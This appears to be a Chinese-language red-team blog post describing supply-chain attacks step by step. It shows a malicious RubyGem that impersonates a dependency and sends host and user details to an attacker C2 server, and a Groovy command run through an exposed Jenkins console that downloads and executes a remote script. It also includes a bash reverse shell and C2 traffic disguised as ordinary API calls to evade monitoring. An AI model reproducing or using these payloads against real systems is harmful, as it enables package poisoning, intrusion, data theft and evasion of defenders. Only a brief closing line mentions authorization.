一、供应链攻击的潜在领域
在某次项目中,我接触到了一个复杂的微服务架构,系统由多个第三方库、私有仓库以及开源组件构成。这种依赖关系看起来井然有序,但从攻击者的角度来说,供应链恰恰是一个天然的入口。如果能在开发阶段或者部署过程中渗透到供应链的某个环节,攻击者将有机会直接在目标系统中植入恶意代码,甚至获得长时间的权限维持。
说到供应链攻击,通常涉及以下几个环节:
- 开发环境:代码库、依赖包管理器(如 npm、pip、RubyGems)
- 构建流程:CI/CD管道,编译工具链
- 发布环节:镜像仓库、二进制包分发站点
- 运行环境:生产服务器、容器编排工具(如 Kubernetes)
如果我作为红队要攻破这类供应链,我会聚焦在以下两点:
- 依赖劫持:通过开源组件的依赖污染,注入恶意代码。
- CI/CD污染:在自动化构建阶段植入后门。
接下来,我将从实战攻击角度出发,逐步演示如何实施这类攻击。
---
二、RubyGems依赖劫持案例
有一次,我参与某团队的供应链评估时,发现他们依赖了一个开发者维护的 RubyGems 库,这一切让我眼前一亮。RubyGems 是 Ruby 社区的标准包管理工具,但它的依赖解析机制容易被利用。下面我会通过构造一个恶意依赖来模拟劫持攻击。
构造恶意Gem包
我们首先需要制作一个伪造的 RubyGem 包。假设目标团队的某个库依赖了 awesome_toolkit,而这个库本身依赖了 helper_tool。代码入口如下:
<pre><code class="language-ruby"># awesome_toolkit.rb require 'helper_tool'

puts "Executing toolkit functionality..." HelperTool.some_method()</code></pre>
攻击者可以通过伪造一个与 helper_tool 同名的 Gem 并发布到 RubyGems.org,目标系统只要没有锁定依赖版本,就可能默认安装我们的恶意包。
步骤1:创建恶意Gem结构
<pre><code class="language-shell">mkdir helper_tool cd helper_tool
初始化Gem配置文件
bundle gem helper_tool</code></pre>
修改生成的 helper_tool.gemspec 文件,伪装成合法库:
<pre><code class="language-ruby">Gem::Specification.new do |spec| spec.name = "helper_tool" spec.version = "1.0.0" spec.summary = "A helper tool library." spec.description = "Provides essential helper functionality." spec.authors = ["Attacker"] spec.email = ["[email protected]"] spec.files = Dir["lib/*/.rb"] spec.homepage = "http://rubygems.org/gems/helper_tool" spec.license = "MIT" end</code></pre>
步骤2:植入后门代码
接着,我们在 lib/helper_tool.rb 中添加后门逻辑:
<pre><code class="language-ruby">module HelperTool def self.some_method
原功能代码
puts "This is a helper tool."

后门逻辑:发送系统信息到攻击者C2
require 'net/http' uri = URI('http://attacker-c2.com/steal-info') Net::HTTP.post_form(uri, { hostname: hostname, user: whoami }) end end</code></pre>
步骤3:发布到RubyGems.org
注册攻击者账户后,运行以下命令发布恶意Gem包: <pre><code class="language-shell">gem build helper_tool.gemspec gem push helper_tool-1.0.0.gem</code></pre>
至此,当目标团队执行 bundle install 或 gem install 时,他们的环境就会默认下载并执行我们的恶意包。
---
三、污染CI/CD管道的艺术
供应链中另一个关键环节是构建与部署流程。如果目标团队使用 Jenkins、GitLab CI 等工具作为 CI/CD管道,那么这些工具本身也可以被攻击者利用。
有一次,我发现一个目标团队的 Jenkins 没有正确配置权限控制,开发者可以上传任意 Groovy 脚本,这给我提供了直接执行恶意代码的机会。
攻击步骤详解
步骤1:登录到开放的 Jenkins 界面
通过扫描目标网络,我发现了一个暴露的 Jenkins 服务(端口 8080)。幸运的是,该服务的认证机制被误配置,任何用户都可以登录。
步骤2:上传恶意脚本
在 Jenkins 的 "Script Console" 中,我输入了一段 Groovy 后门代码,利用它上传我的 payload 到目标服务器:
<pre><code class="language-groovy">def cmd = "curl -o /tmp/reverse_shell.sh http://attacker-c2.com/reverse_shell.sh && bash /tmp/reverse_shell.sh" def proc = cmd.execute() proc.waitFor() println proc.text</code></pre>
这段代码会让目标服务器下载并执行我的反向Shell脚本。
步骤3:反向Shell脚本
以下是我托管在攻击者服务器上的 reverse_shell.sh:
<pre><code class="language-shell">#!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1</code></pre>
启动监听后,我成功获得了目标 CI/CD服务器的Shell权限。

---
四、流量伪装与免杀技巧
供应链攻击中的恶意代码通常需要与攻击者的C2通信,这就涉及流量伪装与免杀。攻击者的目标是躲避防火墙、IDS/IPS的检测,让流量看起来合法。

流量伪装案例
有一次,我在构造 RubyGems 的恶意代码时,为了让流量看起来更隐蔽,我使用了合法的 HTTP User-Agent,并模拟了常规API通信:
<pre><code class="language-ruby">require 'net/http' require 'json'
uri = URI("http://attacker-c2.com/api/v1/report") headers = { "User-Agent" => "GemFetcher/1.0", "Authorization" => "Bearer fake-token" } data = { hostname: hostname, user: whoami }
http = Net::HTTP.new(uri.host, uri.port) req = Net::HTTP::Post.new(uri.path, headers) req.body = data.to_json
response = http.request(req) puts response.body</code></pre>
这段代码伪装成合法的 API 请求,绕过了目标环境的流量监控。
---
五、个人经验与反思
作为一个红队成员,供应链攻击是一种绝对需要关注的技术领域。不同于直接攻击服务器,这类攻击需要更多的耐心和伪装能力。我的几个经验总结如下:
- 信息收集至关重要:先搞清楚目标的依赖、CI/CD工具以及部署流程。
- 隐蔽性优先:攻击代码需要尽量伪装成正常行为,减少被发现的可能性。
- 武器化开发:我们的恶意代码不能只是简单功能,还需要具备免杀、权限维持等能力。
最后提醒一句,所有攻击技术必须经过授权测试,切勿用于非法用途。